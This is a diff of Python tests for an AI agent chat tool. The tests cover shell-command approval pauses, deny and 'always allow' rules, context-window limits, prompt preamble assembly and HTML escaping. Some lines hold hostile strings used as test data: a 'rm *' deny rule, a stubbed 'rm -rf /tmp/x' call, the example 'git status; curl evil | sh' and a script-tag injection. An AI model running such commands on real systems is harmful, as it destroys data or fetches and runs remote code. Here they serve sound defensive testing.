settings_store.update(db, {"deny_default": ["rm *"]}, key=settings_store.AGENTS)
message_id = _pending_reply(db, chat)
monkeypatch.setattr(
generation_service,
"stream_chat",
_stub_stream([[_chunk("shell_run", "rm -rf /tmp/x")], [_text("Done.")]], []),
)
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
task = asyncio.create_task(generation_service._run(generation))
pending = await _until_paused(generation)
assert "rm *" in pending.items[0].reason
pending.resolve(interaction.DENY)
await task
async def test_denying_reaches_the_model_as_words_and_runs_nothing( async def test_denying_reaches_the_model_as_words_and_runs_nothing(
db, user_id, machine, monkeypatch, tmp_path db, user_id, machine, monkeypatch, tmp_path
): ):
@@ -618,6 +757,135 @@ async def test_auto_mode_never_pauses(db, user_id, machine, monkeypatch, tmp_pat
assert (tmp_path / "project" / "auto.txt").read_text() == "no asking" assert (tmp_path / "project" / "auto.txt").read_text() == "no asking"
# --- "Always allow this" ---------------------------------------------------------
# Answered over the TestClient against a pause registered by hand, rather than by
# running a generation: a future belongs to the loop that made it and TestClient
# runs the app on its own, which is the same reason
# `test_another_account_cannot_answer_your_question` builds its pause this way.
# The route reads the items *before* resolving, which is the half being tested.
def _approval_pause(chat, message_id, *, tool_name="shell_run", detail="git status"):
pause = interaction.Interruption(
id="pause-always",
items=(
interaction.Item(
index=0,
key="a0",
kind=interaction.KIND_APPROVAL,
tool_name=tool_name,
title=f"Run a command on {chat.title or 'Box'}",
detail=detail,
),
),
)
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
generation.pending = pause
generation_service._RUNNING[message_id] = generation
return pause
def test_always_allow_records_the_command_and_stops_asking(
client, db, registered, user_id, machine
):
"""It used to be byte-for-byte "Allow": the verdict was accepted, treated as
permitted, and stored nowhere, so the very next identical command asked
again. A button that promises a standing decision and keeps none is the
silent control this codebase keeps cataloguing."""
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_EDIT)
message_id = _pending_reply(db, chat)
pause = _approval_pause(chat, message_id)
try:
client.post(
f"/api/chats/{chat.id}/interaction/{pause.id}", data={"verdict": "allow_always"}
)
finally:
generation_service._RUNNING.pop(message_id, None)
db.refresh(chat)
assert tools_service.scoped_allow(chat) == ("git status",)
# And it is in force from the next reply: the context is resolved per reply,
# so the list reaches `policy.decide` through `AgentContext.allow`.
context = session.resolve(db, chat, db.get(User, user_id))
assert "git status" in context.allow
assert (
policy.decide(
mode=policy.MODE_EDIT,
risk=RISK_EXECUTE,
tool_name="shell_run",
command="git status",
allow=context.allow,
deny=context.deny,
).verdict
== policy.ALLOW
)
def test_always_allow_never_stores_a_composed_command(
client, db, registered, user_id, machine
):
"""`policy.subject` refuses to normalise a command line carrying a shell
metacharacter, and that is exactly the shape that must not become a standing
permission -- an entry matching `git status; curl evil | sh` would be the
whole ballgame. The action is still allowed this once; it is not remembered.
"""
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_EDIT)
message_id = _pending_reply(db, chat)
pause = _approval_pause(chat, message_id, detail="cd build && make")
try:
client.post(
f"/api/chats/{chat.id}/interaction/{pause.id}", data={"verdict": "allow_always"}
)
finally:
generation_service._RUNNING.pop(message_id, None)
db.refresh(chat)
assert tools_service.scoped_allow(chat) == ()
def test_a_plain_allow_remembers_nothing(client, db, registered, user_id, machine):
"""Only "always" is a standing decision. Allow is once."""
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_EDIT)
message_id = _pending_reply(db, chat)
pause = _approval_pause(chat, message_id)
try:
client.post(
f"/api/chats/{chat.id}/interaction/{pause.id}", data={"verdict": "allow"}
)
finally:
generation_service._RUNNING.pop(message_id, None)
db.refresh(chat)
assert tools_service.scoped_allow(chat) == ()
def test_the_allow_list_cannot_be_written_through_the_scope_route(
client, db, registered, user_id, machine
):
"""The scope route narrows. Nothing accepts a pattern from a request, which
is the whole of why a per-chat allow list is safe."""
chat, _profile = _setup(db, user_id, machine)
client.post(
f"/api/chats/{chat.id}/scope", data={"kind": "allow", "name": "rm *", "on": "false"}
)
db.refresh(chat)
assert tools_service.scoped_allow(chat) == ()
def test_clearing_the_allow_list_empties_it(client, db, registered, user_id, machine):
chat, _profile = _setup(db, user_id, machine)
chat.scope_json = {"allow": ["git status", "file_read"]}
db.commit()
response = client.post(f"/api/chats/{chat.id}/allow/clear")
assert response.status_code == 200
assert response.text == "", "the row has to disappear; htmx does not swap on a 204"
db.refresh(chat)
assert tools_service.scoped_allow(chat) == ()
async def test_the_credential_is_cleared_when_the_reply_ends(db, user_id, machine, monkeypatch): async def test_the_credential_is_cleared_when_the_reply_ends(db, user_id, machine, monkeypatch):
"""A finished Generation lingers five minutes so late followers get the """A finished Generation lingers five minutes so late followers get the
final frames. A private key should not linger with it.""" final frames. A private key should not linger with it."""
@@ -685,6 +953,39 @@ async def test_an_ordinary_chat_is_told_none_of_it(db, user_id, machine):
assert "fresh shell" not in text assert "fresh shell" not in text
async def test_an_agent_chat_is_told_to_work_to_an_objective_and_out_loud(
db, user_id, machine
):
"""The two halves of not drifting: name what you are doing, and say what you
are finding while you do it rather than only at the end."""
from lembas.services import harness
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_EDIT)
user = db.get(User, user_id)
offered = tools_service.resolve_tools(db, chat, user).schemas
text = harness.compose(db, user, offered, chat)
assert "Settle what you are setting out to achieve" in text
assert "Work out loud" in text
# And the tool argument that carries the same account per call.
assert "`why`" in text
async def test_an_ordinary_chat_is_not_asked_to_narrate(db, user_id, machine):
"""Both are agent-only. In front of a two-line answer, stating an objective
and announcing each tool call is preamble -- and `core.tools_preamble` says
the opposite for exactly that reason."""
from lembas.services import harness
chat, _profile = _setup(db, user_id, machine, kind="chat")
user = db.get(User, user_id)
offered = tools_service.resolve_tools(db, chat, user).schemas
text = harness.compose(db, user, offered, chat)
assert "Work out loud" not in text
assert "Settle what you are setting out to achieve" not in text
async def test_an_agent_chat_is_told_its_real_round_budget(db, user_id, machine): async def test_an_agent_chat_is_told_its_real_round_budget(db, user_id, machine):
"""MAX_ROUNDS is one. An agent chat gets hundreds, and telling it one would """MAX_ROUNDS is one. An agent chat gets hundreds, and telling it one would
be a false fact about its own budget on every turn.""" be a false fact about its own budget on every turn."""
@@ -824,6 +1125,96 @@ async def test_a_zero_ceiling_means_no_ceiling(db, user_id, machine, monkeypatch
# --- Interjecting while it works -------------------------------------------------- # --- Interjecting while it works --------------------------------------------------
async def test_a_reply_stops_when_the_window_has_no_room_left(
db, user_id, machine, monkeypatch
):
"""The request grows by an assistant turn and a tool turn every round, and
nothing was watching it: `_maybe_compact` runs once, before the first round.
The other guard, `max_total_output_bytes`, is a megabyte by default -- about
260k tokens, larger than the window of nearly every model this talks to -- so
a long agent reply grew its own request until the endpoint refused it, and
the reader got an upstream error rather than an explanation."""
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO)
model = db.scalars(select(Model).where(Model.model_id == chat.model_id)).first()
model.context_length = 2000
db.commit()
message_id = _pending_reply(db, chat)
# A command whose output is large enough that two rounds fill the window.
monkeypatch.setattr(
generation_service,
"stream_chat",
_stub_stream(
[[_chunk("shell_run", '{"command": "printf \'%s\' ' + "'" + "x" * 3000 + "'\"}")]],
[],
),
)
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
await asyncio.wait_for(generation_service._run(generation), timeout=20)
budget_events = [e for e in generation.tool_events if e.get("name") == "budget"]
assert budget_events, "it should stop with an explanation, not run to the step cap"
assert "context window" in budget_events[0]["error"]
async def test_the_estimate_follows_the_request_round_by_round(
db, user_id, machine, monkeypatch
):
"""It was taken once, before the first round, so on any endpoint that sends
no usage block the reported prompt was the first round's forever."""
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO)
message_id = _pending_reply(db, chat)
monkeypatch.setattr(
generation_service,
"stream_chat",
_stub_stream(
[
[_chunk("shell_run", '{"command": "echo one"}', call_id="c1")],
[_chunk("shell_run", '{"command": "echo two"}', call_id="c2")],
[_text("Done.")],
],
[],
),
)
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
await asyncio.wait_for(generation_service._run(generation), timeout=20)
assert generation.rounds == 3
# Summed across rounds, so it exceeds any single round's prompt.
assert generation.prompt_estimate_total > generation.prompt_estimate
# And what the reply occupies is the last round's prompt, not the total.
assert generation.context_tokens < generation.prompt_estimate_total
async def test_an_unknown_window_never_stops_a_reply(db, user_id, machine, monkeypatch):
"""`context_length` of 0 is unknown, not small -- the rule the context
percentage and automatic compaction already follow."""
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO)
model = db.scalars(select(Model).where(Model.model_id == chat.model_id)).first()
model.context_length = 0
db.commit()
message_id = _pending_reply(db, chat)
monkeypatch.setattr(
generation_service,
"stream_chat",
_stub_stream(
[
[_chunk("shell_run", '{"command": "printf \'%s\' ' + "'" + "x" * 3000 + "'\"}")],
[_text("Done.")],
],
[],
),
)
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
await asyncio.wait_for(generation_service._run(generation), timeout=20)
assert not [e for e in generation.tool_events if e.get("name") == "budget"]
async def test_a_queued_prompt_is_taken_in_between_rounds(db, user_id, machine, monkeypatch): async def test_a_queued_prompt_is_taken_in_between_rounds(db, user_id, machine, monkeypatch):
"""The point of queueing in an agent chat: steering work already under way. """The point of queueing in an agent chat: steering work already under way.
+45
View File
@@ -432,3 +432,48 @@ def test_the_background_guidance_appears_only_when_enabled(db, owner):
settings_store.update(db, {"background_enabled": True}, key=settings_store.AGENTS) settings_store.update(db, {"background_enabled": True}, key=settings_store.AGENTS)
assert "run in the background" in _text() assert "run in the background" in _text()
# --- The ceiling has to fit what the defaults already grant --------------------
def test_the_shipped_defaults_fit_under_the_ceiling(db, owner):
"""An agent chat's whole preamble, at the budgets this ships with.
It did not fit. The fragments alone are about 7,900 characters, and on top
of them `index_chars` grants a 2,000 character project listing and
`instructions_chars` a 4,000 character AGENTS.md -- both on by default. The
ceiling was 8,000, and `assemble` cuts the tail, which by fragment order is
the context worth having: the listing was severed mid-tree and
`context.agent_instructions` was dropped whole. So on a default install the
one path by which a project's own instructions reach a model did not.
"""
values = settings_store.agents(db)
# Every name the harness knows about, so a variable added later is covered
# here without anybody remembering to add it.
variables = dict.fromkeys(harness.context_variables(db, owner, [], None), "")
variables.update(
{
"today": "Monday 3 August 2026",
"instance_name": "LLeMbas",
"user_name": "Frodo",
"agent_target": "homeserver",
"agent_dir": "/srv/project",
"agent_mode": "You are in **Edit** mode.",
"tool_names": "shell_run, file_read, file_write, file_edit, file_list",
"background": "on",
"max_rounds": "200",
# Each at exactly the budget its own setting allows.
"project_files": "L" * int(values["index_chars"]),
"agent_instructions": "A" * int(values["instructions_chars"]),
"agent_instructions_file": "AGENTS.md",
"plan": "P" * 600,
"memories": "M" * 400,
}
)
out = harness.compose_from(
db, variables=variables, families=["agent"], has_tools=True, overrides={}
)
assert not out.endswith(""), f"the preamble was truncated at {len(out):,} characters"
assert "A" * 100 in out, "the project's own instructions were cut off entirely"
assert "L" * 100 in out, "the project listing was cut off"
+10 -3
View File
@@ -13,15 +13,22 @@ def extra_source():
The registry is module state, so a test that adds to it and does not clean up The registry is module state, so a test that adds to it and does not clean up
leaks into every test after it. leaks into every test after it.
Restored to **what was there**, not to `[_builtin_source]`. Resetting to the
builtin alone also threw away `services/tools.py:_row_source`, registered at
import -- so after the first test using this fixture, no custom tool or MCP
server contributed a fragment for the rest of the process, and
`test_a_custom_tools_guidance_appears_only_when_it_is_offered` passed or
failed on file ordering alone. A teardown that quietly removes production
wiring is worse than no teardown, because the suite still goes green.
""" """
added: list = [] before = list(prompts._SOURCES)
def install(*fragments: prompts.Fragment): def install(*fragments: prompts.Fragment):
added.extend(fragments)
prompts.register_source(lambda db: fragments) prompts.register_source(lambda db: fragments)
yield install yield install
prompts._SOURCES[:] = [prompts._builtin_source] prompts._SOURCES[:] = before
# --- Substitution ------------------------------------------------------------ # --- Substitution ------------------------------------------------------------
+41
View File
@@ -249,3 +249,44 @@ def test_a_diff_line_is_escaped():
def test_an_event_with_no_diff_renders_none(): def test_an_event_with_no_diff_renders_none():
html = _render({"name": "file_read", "results": [], "text": "hello"}) html = _render({"name": "file_read", "results": [], "text": "hello"})
assert "diff__line" not in html assert "diff__line" not in html
# --- What a call was for ---------------------------------------------------------
def test_an_explanation_rides_in_the_summary_not_the_body():
"""The body is collapsed. In Auto mode nothing stops for approval, so a
reader who has to expand each call to find out what it was for is a reader
watching a list of commands with no account of any of them."""
html = _render(
{
"name": "shell_run",
"kind": "agent",
"query": "pytest -q",
"why": "Checking the change did not break anything.",
"status": "ok",
"results": [],
}
)
summary = html.split("</summary>", 1)[0]
assert "Checking the change did not break anything." in summary
def test_an_explanation_is_escaped_like_everything_else():
html = _render(
{
"name": "shell_run",
"kind": "agent",
"query": "ls",
"why": "<script>alert(1)</script>",
"status": "ok",
"results": [],
}
)
assert "<script>" not in html
assert "&lt;script&gt;" in html
def test_an_event_without_an_explanation_renders_no_empty_line():
html = _render(
{"name": "shell_run", "kind": "agent", "query": "ls", "status": "ok", "results": []}
)
assert "tool-activity__why" not in html